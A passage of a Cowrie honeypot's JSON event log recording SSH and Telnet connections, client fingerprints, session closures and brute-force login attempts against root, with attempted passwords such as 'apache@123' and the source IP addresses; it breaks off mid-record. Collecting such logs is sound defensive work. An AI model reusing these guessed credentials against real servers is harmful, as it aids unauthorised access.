{"eventid":"cowrie.session.closed","duration":50.87792086601257,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:18.380535Z","src_ip":"192.119.13.58","session":"90f0b675cb9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":53214,"dst_ip":"10.17.0.5","dst_port":22,"session":"1546a23b3630","protocol":"ssh","message":"New connection: 89.110.87.138:53214 (10.17.0.5:22) [session: 1546a23b3630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:18.872945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:18.878437Z","src_ip":"89.110.87.138","session":"1546a23b3630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:18.993816Z","src_ip":"89.110.87.138","session":"1546a23b3630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"verity","message":"login attempt [root/verity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:19.486319Z","src_ip":"89.110.87.138","session":"1546a23b3630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:20.604844Z","src_ip":"89.110.87.138","session":"1546a23b3630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52546,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a03ef025ad5","protocol":"ssh","message":"New connection: 194.59.206.2:52546 (10.17.0.5:22) [session: 0a03ef025ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:24.000474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:24.005753Z","src_ip":"194.59.206.2","session":"0a03ef025ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:24.093372Z","src_ip":"194.59.206.2","session":"0a03ef025ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:24.187258Z","src_ip":"194.59.206.2","session":"0a03ef025ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51934,"dst_ip":"10.17.0.5","dst_port":23,"session":"b09e09baa599","protocol":"telnet","message":"New connection: 192.119.13.58:51934 (10.17.0.5:23) [session: b09e09baa599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:34.065144Z"}
{"eventid":"cowrie.session.closed","duration":38.031047105789185,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:34.732817Z","src_ip":"192.119.13.58","session":"bbc7725a969b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":50260,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f112af4e72b","protocol":"ssh","message":"New connection: 102.88.137.145:50260 (10.17.0.5:22) [session: 6f112af4e72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:36.460700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:36.465462Z","src_ip":"102.88.137.145","session":"6f112af4e72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:36.644698Z","src_ip":"102.88.137.145","session":"6f112af4e72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"window","message":"login attempt [root/window] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:37.393440Z","src_ip":"102.88.137.145","session":"6f112af4e72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:38.575337Z","src_ip":"102.88.137.145","session":"6f112af4e72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42462,"dst_ip":"159.203.135.109","dst_port":22,"session":"27832b23b6de","protocol":"ssh","message":"New connection: 103.27.238.120:42462 (159.203.135.109:22) [session: 27832b23b6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:39.926060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:39.931190Z","src_ip":"103.27.238.120","session":"27832b23b6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:40.206143Z","src_ip":"103.27.238.120","session":"27832b23b6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerfdsa","message":"login attempt [root/qwerfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:41.031038Z","src_ip":"103.27.238.120","session":"27832b23b6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:42.308346Z","src_ip":"103.27.238.120","session":"27832b23b6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45434,"dst_ip":"10.17.0.5","dst_port":22,"session":"98eb09630a15","protocol":"ssh","message":"New connection: 103.75.182.198:45434 (10.17.0.5:22) [session: 98eb09630a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:55.516066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:55.522146Z","src_ip":"103.75.182.198","session":"98eb09630a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:55.767869Z","src_ip":"103.75.182.198","session":"98eb09630a15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lena","message":"login attempt [root/lena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:56.503364Z","src_ip":"103.75.182.198","session":"98eb09630a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:57.751480Z","src_ip":"103.75.182.198","session":"98eb09630a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"30578d17c5c3","protocol":"telnet","message":"New connection: 192.119.13.58:56512 (10.17.0.5:23) [session: 30578d17c5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:58.033687Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49834,"dst_ip":"10.17.0.5","dst_port":23,"session":"93e2348d5686","protocol":"telnet","message":"New connection: 192.119.13.58:49834 (10.17.0.5:23) [session: 93e2348d5686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:03.720389Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":55720,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf977218db58","protocol":"ssh","message":"New connection: 43.156.39.221:55720 (10.17.0.5:22) [session: cf977218db58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:09.452677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:09.457355Z","src_ip":"43.156.39.221","session":"cf977218db58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:09.696774Z","src_ip":"43.156.39.221","session":"cf977218db58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cms","message":"login attempt [root/cms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:10.685130Z","src_ip":"43.156.39.221","session":"cf977218db58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:11.927148Z","src_ip":"43.156.39.221","session":"cf977218db58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.250365257263184,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:18.315415Z","src_ip":"192.119.13.58","session":"b09e09baa599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":36926,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f9a5b5c3288","protocol":"ssh","message":"New connection: 89.110.87.138:36926 (10.17.0.5:22) [session: 0f9a5b5c3288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:22.688030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:22.693809Z","src_ip":"89.110.87.138","session":"0f9a5b5c3288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:22.818423Z","src_ip":"89.110.87.138","session":"0f9a5b5c3288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache@123","message":"login attempt [root/apache@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:23.346330Z","src_ip":"89.110.87.138","session":"0f9a5b5c3288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:24.473364Z","src_ip":"89.110.87.138","session":"0f9a5b5c3288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35328,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b7df93c5cc","protocol":"telnet","message":"New connection: 192.119.13.58:35328 (10.17.0.5:23) [session: e4b7df93c5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:36.686188Z"}
{"eventid":"cowrie.session.closed","duration":33.37936234474182,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:37.099644Z","src_ip":"192.119.13.58","session":"93e2348d5686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.36228942871094,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:38.395879Z","src_ip":"192.119.13.58","session":"30578d17c5c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39024,"dst_ip":"10.17.0.5","dst_port":23,"session":"03a480f7674f","protocol":"telnet","message":"New connection: 192.119.13.58:39024 (10.17.0.5:23) [session: 03a480f7674f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:14:45.705205Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":34188,"dst_ip":"10.17.0.5","dst_port":22,"session":"386ab9b09479","protocol":"ssh","message":"New connection: 102.88.137.145:34188 (10.17.0.5:22) [session: 386ab9b09479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:01.831706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:01.837609Z","src_ip":"102.88.137.145","session":"386ab9b09479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS